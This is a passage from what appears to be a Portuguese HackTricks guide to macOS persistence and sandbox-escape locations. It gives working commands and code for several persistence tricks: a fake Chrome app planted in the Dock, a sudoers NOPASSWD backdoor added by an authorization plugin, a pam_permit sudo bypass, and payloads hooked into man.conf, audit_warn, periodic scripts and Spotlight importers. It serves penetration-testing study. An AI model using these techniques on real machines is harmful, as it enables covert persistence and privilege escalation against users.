mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
Em seguida, abra o aplicativo `Folder Actions Setup`, selecione a **pasta que deseja monitorar** e selecione no seu caso **`folder.scpt`** (no meu caso eu chamei de output2.scp):
Agora, se você abrir essa pasta com o **Finder**, seu script será executado.
Essa configuração foi armazenada no **plist** localizado em **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** em formato base64.
Agora, vamos tentar preparar essa persistência sem acesso ao GUI:
1. **Copie `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** para `/tmp` para fazer um backup:
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2. **Remova** as Ações de Pasta que você acabou de configurar:
Agora que temos um ambiente vazio
3. Copie o arquivo de backup: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
4. Abra o Folder Actions Setup.app para consumir essa configuração: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
{% hint style="danger" %}
E isso não funcionou para mim, mas essas são as instruções do writeup :(
{% endhint %}
### Atalhos no Dock
Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
* Útil para contornar o sandbox: [✅](https://emojipedia.org/check-mark-button)
* Mas você precisa ter instalado um aplicativo malicioso dentro do sistema
* Bypass do TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Localização
* `~/Library/Preferences/com.apple.dock.plist`
* **Gatilho**: Quando o usuário clica no aplicativo dentro do dock
#### Descrição & Exploração
Todas as aplicações que aparecem no Dock são especificadas dentro do plist: **`~/Library/Preferences/com.apple.dock.plist`**
É possível **adicionar um aplicativo** apenas com:
{% code overflow="wrap" %}
```bash
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/System/Applications/Books.app_CFURLStringType0'
# Restart Dock
killall Dock
```
{% endcode %}
Usando algumas técnicas de **social engineering**, você poderia **se passar, por exemplo, pelo Google Chrome** no dock e executar seu próprio script:
```bash
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
CFBundleExecutableGoogle ChromeCFBundleIdentifiercom.google.ChromeCFBundleNameGoogle ChromeCFBundleVersion1.0CFBundleShortVersionString1.0CFBundleInfoDictionaryVersion6.0CFBundlePackageTypeAPPLCFBundleIconFileapp
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/tmp/Google Chrome.app_CFURLStringType0'
killall Dock
```
### Seletores de Cor
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
* Útil para contornar a sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Uma ação muito específica precisa acontecer
* Você terminará em outra sandbox
* Contornar TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Localização
* `/Library/ColorPickers`
* Necessário acesso root
* Gatilho: Usar o seletor de cor
* `~/Library/ColorPickers`
* Gatilho: Usar o seletor de cor
#### Descrição & Exploração
**Compile um pacote de seletor de cor** com seu código (você pode usar [**este aqui, por exemplo**](https://github.com/viktorstrate/color-picker-plus)) e adicione um construtor (como na [seção de Protetor de Tela](macos-auto-start-locations.md#screen-saver)) e copie o pacote para `~/Library/ColorPickers`.
Então, quando o seletor de cor for acionado, seu código também deverá ser.
Note que o binário que carrega sua biblioteca tem uma sandbox **muito restritiva**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
{% code overflow="wrap" %}
```bash
[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
```
{% endcode %}
### Plugins de Sincronização do Finder
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\
**Writeup**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html)
* Útil para contornar sandbox: **Não, porque você precisa executar seu próprio aplicativo**
* TCC bypass: ???
#### Localização
* Um aplicativo específico
#### Descrição & Exploração
Um exemplo de aplicativo com uma Extensão de Sincronização do Finder [**pode ser encontrado aqui**](https://github.com/D00MFist/InSync).
Aplicativos podem ter `Extensões de Sincronização do Finder`. Esta extensão ficará dentro de um aplicativo que será executado. Além disso, para que a extensão possa executar seu código, ela **deve ser assinada** com algum certificado válido de desenvolvedor da Apple, deve ser **sandboxed** (embora exceções relaxadas possam ser adicionadas) e deve ser registrada com algo como:
```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
```
### Protetor de Tela
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
* Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Mas você terminará em um sandbox de aplicação comum
* Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Localização
* `/System/Library/Screen Savers`
* Necessário root
* **Gatilho**: Selecionar o protetor de tela
* `/Library/Screen Savers`
* Necessário root
* **Gatilho**: Selecionar o protetor de tela
* `~/Library/Screen Savers`
* **Gatilho**: Selecionar o protetor de tela
#### Descrição & Exploração
Crie um novo projeto no Xcode e selecione o template para gerar um novo **Protetor de Tela**. Em seguida, adicione seu código a ele, por exemplo, o seguinte código para gerar logs.
**Construa** o projeto, e copie o pacote `.saver` para **`~/Library/Screen Savers`**. Depois, abra a GUI do Protetor de Tela e se você apenas clicar nele, ele deve gerar muitos logs:
{% code overflow="wrap" %}
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
```
{% endcode %}
{% hint style="danger" %}
Observe que, devido aos direitos de acesso do binário que carrega este código (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), onde se pode encontrar **`com.apple.security.app-sandbox`**, você estará **dentro do sandbox comum de aplicativos**.
{% endhint %}
Código do Saver:
```objectivec
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}
- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}
- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}
- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}
- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}
- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}
- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}
@end
```
### Plugins do Spotlight
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
* Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Mas você terminará em uma sandbox de aplicativo
* Contornar TCC: [🔴](https://emojipedia.org/large-red-circle)
* A sandbox parece muito limitada
#### Localização
* `~/Library/Spotlight/`
* **Gatilho**: Um novo arquivo com uma extensão gerenciada pelo plugin do Spotlight é criado.
* `/Library/Spotlight/`
* **Gatilho**: Um novo arquivo com uma extensão gerenciada pelo plugin do Spotlight é criado.
* Necessário acesso root
* `/System/Library/Spotlight/`
* **Gatilho**: Um novo arquivo com uma extensão gerenciada pelo plugin do Spotlight é criado.
* Necessário acesso root
* `Some.app/Contents/Library/Spotlight/`
* **Gatilho**: Um novo arquivo com uma extensão gerenciada pelo plugin do Spotlight é criado.
* Necessário novo aplicativo
#### Descrição & Exploração
O Spotlight é o recurso de busca integrado do macOS, projetado para fornecer aos usuários **acesso rápido e abrangente aos dados em seus computadores**.\
Para facilitar essa capacidade de busca rápida, o Spotlight mantém um **banco de dados proprietário** e cria um índice **analisando a maioria dos arquivos**, permitindo buscas rápidas tanto pelos nomes dos arquivos quanto pelo seu conteúdo.
O mecanismo subjacente do Spotlight envolve um processo central chamado 'mds', que significa **'servidor de metadados'**. Este processo orquestra todo o serviço do Spotlight. Complementando isso, existem vários daemons 'mdworker' que realizam uma variedade de tarefas de manutenção, como indexação de diferentes tipos de arquivos (`ps -ef | grep mdworker`). Essas tarefas são possíveis através dos plugins importadores do Spotlight, ou **pacotes ".mdimporter"**, que permitem ao Spotlight entender e indexar conteúdo em uma ampla gama de formatos de arquivo.
Os plugins ou pacotes **`.mdimporter`** estão localizados nos lugares mencionados anteriormente e, se um novo pacote aparecer, ele é carregado em minutos (não é necessário reiniciar nenhum serviço). Esses pacotes precisam indicar **quais tipos de arquivo e extensões eles podem gerenciar**, assim, o Spotlight os utilizará quando um novo arquivo com a extensão indicada for criado.
É possível **encontrar todos os `mdimporters`** carregados executando:
```bash
mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
```
E, por exemplo, **/Library/Spotlight/iBooksAuthor.mdimporter** é usado para analisar esses tipos de arquivos (extensões `.iba` e `.book` entre outros):
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]
```
{% hint style="danger" %}
Se você verificar o Plist de outros `mdimporter`, pode não encontrar a entrada **`UTTypeConformsTo`**. Isso ocorre porque é um _Identificador de Tipo Uniforme_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) integrado e não precisa especificar extensões.
Além disso, os plugins padrão do sistema sempre têm precedência, então um atacante só pode acessar arquivos que não são indexados pelos próprios `mdimporters` da Apple.
{% endhint %}
Para criar seu próprio importador, você pode começar com este projeto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) e depois mudar o nome, os **`CFBundleDocumentTypes`** e adicionar **`UTImportedTypeDeclarations`** para que ele suporte a extensão que você deseja e reflita-os no **`schema.xml`**.\
Em seguida, **mude** o código da função **`GetMetadataForFile`** para executar seu payload quando um arquivo com a extensão processada for criado.
Finalmente, **construa e copie seu novo `.mdimporter`** para um dos locais anteriores e você pode verificar se ele está carregado **monitorando os logs** ou verificando **`mdimport -L.`**
### ~~Painel de Preferências~~
{% hint style="danger" %}
Parece que isso não está mais funcionando.
{% endhint %}
Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/)
* Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* É necessária uma ação específica do usuário
* Contorno de TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Localização
* **`/System/Library/PreferencePanes`**
* **`/Library/PreferencePanes`**
* **`~/Library/PreferencePanes`**
#### Descrição
Parece que isso não está mais funcionando.
## Contorno de Sandbox Root
{% hint style="success" %}
Aqui você pode encontrar locais de início úteis para **contorno de sandbox** que permitem executar algo simplesmente **escrevendo em um arquivo** sendo **root** e/ou exigindo outras **condições estranhas.**
{% endhint %}
### Periódico
Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/)
* Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Mas você precisa ser root
* Contorno de TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Localização
* `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic`
* Root necessário
* **Gatilho**: Quando chegar a hora
* `/etc/daily.local`, `/etc/weekly.local` ou `/etc/monthly.local`
* Root necessário
* **Gatilho**: Quando chegar a hora
#### Descrição & Exploração
Os scripts periódicos (**`/etc/periodic`**) são executados por causa dos **daemons de lançamento** configurados em `/System/Library/LaunchDaemons/com.apple.periodic*`. Observe que os scripts armazenados em `/etc/periodic/` são **executados** como o **proprietário do arquivo**, então isso não funcionará para uma potencial escalada de privilégios.
{% code overflow="wrap" %}
```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
```
```
Existem outros scripts periódicos que serão executados indicados em **`/etc/defaults/periodic.conf`**:
```
```bash
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
```
Se você conseguir escrever em qualquer um dos arquivos `/etc/daily.local`, `/etc/weekly.local` ou `/etc/monthly.local`, ele será **executado mais cedo ou mais tarde**.
{% hint style="warning" %}
Observe que o script periódico será **executado como o proprietário do script**. Portanto, se um usuário comum for o proprietário do script, ele será executado como esse usuário (isso pode prevenir ataques de escalada de privilégios).
{% endhint %}
### PAM
Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
* Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Mas você precisa ser root
* Contornar TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Localização
* Sempre requer root
#### Descrição & Exploração
Como o PAM é mais focado em **persistência** e malware do que em execução fácil dentro do macOS, este blog não fornecerá uma explicação detalhada, **leia os writeups para entender melhor esta técnica**.
Verifique os módulos PAM com:
```bash
ls -l /etc/pam.d
```
Uma técnica de persistência/escalada de privilégios que abusa do PAM é tão simples quanto modificar o módulo /etc/pam.d/sudo adicionando no início a linha:
```bash
auth sufficient pam_permit.so
```
Então, ficará **algo assim**:
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
E portanto, qualquer tentativa de usar **`sudo` funcionará**.
{% hint style="danger" %}
Note que este diretório é protegido pelo TCC, então é muito provável que o usuário receba um prompt pedindo acesso.
{% endhint %}
### Plugins de Autorização
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
* Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Mas você precisa ser root e fazer configurações extras
* Bypass do TCC: ???
#### Localização
* `/Library/Security/SecurityAgentPlugins/`
* Necessário ser root
* Também é necessário configurar o banco de dados de autorização para usar o plugin
#### Descrição & Exploração
Você pode criar um plugin de autorização que será executado quando um usuário fizer login para manter a persistência. Para mais informações sobre como criar um desses plugins, confira os writeups anteriores (e tenha cuidado, um mal escrito pode bloquear seu acesso e você precisará limpar seu mac no modo de recuperação).
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import
__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
```
**Mova** o pacote para o local a ser carregado:
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
Finalmente adicione a **regra** para carregar este Plugin:
```bash
cat > /tmp/rule.plist <classevaluate-mechanismsmechanismsCustomAuth:login,privileged
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
O **`evaluate-mechanisms`** informará ao framework de autorização que será necessário **chamar um mecanismo externo para autorização**. Além disso, **`privileged`** fará com que seja executado pelo root.
Ative-o com:
```bash
security authorize com.asdf.asdf
```
E então o **grupo staff deve ter acesso sudo** (leia `/etc/sudoers` para confirmar).
### Man.conf
Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
* Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Mas você precisa ser root e o usuário deve usar man
* Contorno de TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Localização
* **`/private/etc/man.conf`**
* Root necessário
* **`/private/etc/man.conf`**: Sempre que man é usado
#### Descrição & Exploração
O arquivo de configuração **`/private/etc/man.conf`** indica o binário/script a ser usado ao abrir arquivos de documentação man. Assim, o caminho para o executável pode ser modificado para que sempre que o usuário use man para ler alguns documentos, um backdoor seja executado.
Por exemplo, defina em **`/private/etc/man.conf`**:
```
MANPAGER /tmp/view
```
E então crie `/tmp/view` como:
```bash
#!/bin/zsh
touch /tmp/manconf
/usr/bin/less -s
```
### Apache2
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
* Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Mas você precisa ser root e o apache precisa estar em execução
* Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle)
* Httpd não possui entitlements
#### Localização
* **`/etc/apache2/httpd.conf`**
* Necessário ser root
* Gatilho: Quando o Apache2 é iniciado
#### Descrição & Exploração
Você pode indicar em `/etc/apache2/httpd.conf` para carregar um módulo adicionando uma linha como:
{% code overflow="wrap" %}
```bash
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
{% endcode %}
Dessa forma, seu módulo compilado será carregado pelo Apache. A única coisa é que você precisa **assiná-lo com um certificado Apple válido**, ou precisa **adicionar um novo certificado confiável** no sistema e **assiná-lo** com ele.
Então, se necessário, para garantir que o servidor será iniciado, você poderia executar:
```bash
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
```
Exemplo de código para o Dylb:
```objectivec
#include
#include
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
```
### Estrutura de auditoria BSM
Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
* Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Mas você precisa ser root, auditd estar em execução e causar um aviso
* Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Localização
* **`/etc/security/audit_warn`**
* Necessário ser root
* **Gatilho**: Quando auditd detecta um aviso
#### Descrição & Exploração
Sempre que auditd detecta um aviso, o script **`/etc/security/audit_warn`** é **executado**. Assim, você poderia adicionar seu payload nele.
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
```
Você pode forçar um aviso com `sudo audit -n`.
### Itens de Inicialização
{% hint style="danger" %}
**Isso está obsoleto, portanto, nada deve ser encontrado nos seguintes diretórios.**
{% endhint %}
Um **StartupItem** é um **diretório** que é **colocado** em uma destas duas pastas: `/Library/StartupItems/` ou `/System/Library/StartupItems/`
Após colocar um novo diretório em um desses dois locais, **mais dois itens** precisam ser colocados dentro desse diretório. Esses dois itens são um **script rc** **e um plist** que contém algumas configurações. Esse plist deve ser chamado de “**StartupParameters.plist**”.
{% tabs %}
{% tab title="StartupParameters.plist" %}
```xml
DescriptionThis is a description of this serviceOrderPreferenceNoneProvidessuperservicename
```
{% endtab %}
{% tab title="superservicename" %}
```bash
#!/bin/sh
. /etc/rc.common
StartService(){
touch /tmp/superservicestarted
}
StopService(){
rm /tmp/superservicestarted
}
RestartService(){
echo "Restarting"
}
RunService "$1"
```
{% endtab %}
{% endtabs %}
### ~~emond~~
{% hint style="danger" %}
Não consigo encontrar este componente no meu macOS, então para mais informações, consulte o relatório
{% endhint %}
Relatório: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
A Apple introduziu um mecanismo de registro chamado **emond**. Parece que nunca foi totalmente desenvolvido, e o desenvolvimento pode ter sido **abandonado** pela Apple em favor de outros mecanismos, mas ainda está **disponível**.
Este serviço pouco conhecido pode **não ser muito útil para um administrador de Mac**, mas para um ator de ameaças, um motivo muito bom seria usá-lo como um **mecanismo de persistência que a maioria dos administradores de macOS provavelmente não saberia procurar**. Detectar o uso malicioso do emond não deve ser difícil, pois o System LaunchDaemon para o serviço procura scripts para executar em apenas um local:
```bash
ls -l /private/var/db/emondClients
```
### ~~XQuartz~~
Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
#### Localização
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
* Necessário acesso root
* **Gatilho**: Com XQuartz
#### Descrição & Exploração
XQuartz **não está mais instalado no macOS**, então se quiser mais informações, consulte o writeup.
### ~~kext~~
{% hint style="danger" %}
É tão complicado instalar kext mesmo como root que não vou considerar isso para escapar de sandboxes ou mesmo para persistência (a menos que você tenha um exploit)
{% endhint %}
#### Localização
Para instalar um KEXT como um item de inicialização, ele precisa ser **instalado em um dos seguintes locais**:
* `/System/Library/Extensions`
* Arquivos KEXT integrados ao sistema operacional OS X.
* `/Library/Extensions`
* Arquivos KEXT instalados por softwares de terceiros
Você pode listar os arquivos kext atualmente carregados com:
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
Para mais informações sobre [**extensões do kernel, consulte esta seção**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
### ~~amstoold~~
Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
#### Localização
* **`/usr/local/bin/amstoold`**
* Necessário ser root
#### Descrição & Exploração
Aparentemente, o `plist` de `/System/Library/LaunchAgents/com.apple.amstoold.plist` estava usando este binário enquanto expunha um serviço XPC... o problema é que o binário não existia, então você poderia colocar algo lá e quando o serviço XPC fosse chamado, seu binário seria executado.
Não consigo mais encontrar isso no meu macOS.
### ~~xsanctl~~
Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
#### Localização
* **`/Library/Preferences/Xsan/.xsanrc`**
* Necessário ser root
* **Gatilho**: Quando o serviço é executado (raramente)
#### Descrição & exploração
Aparentemente, não é muito comum executar este script e eu nem consegui encontrá-lo no meu macOS, então se você quiser mais informações, confira o writeup.
### ~~/etc/rc.common~~
{% hint style="danger" %}
**Isso não funciona em versões modernas do MacOS**
{% endhint %}
Também é possível colocar aqui **comandos que serão executados na inicialização.** Exemplo de script rc.common regular:
```bash
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}
#
# Generic action handler
#
RunService ()
{
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
}
```
## Técnicas e ferramentas de persistência
* [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift)
* [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
Aprenda hacking no AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).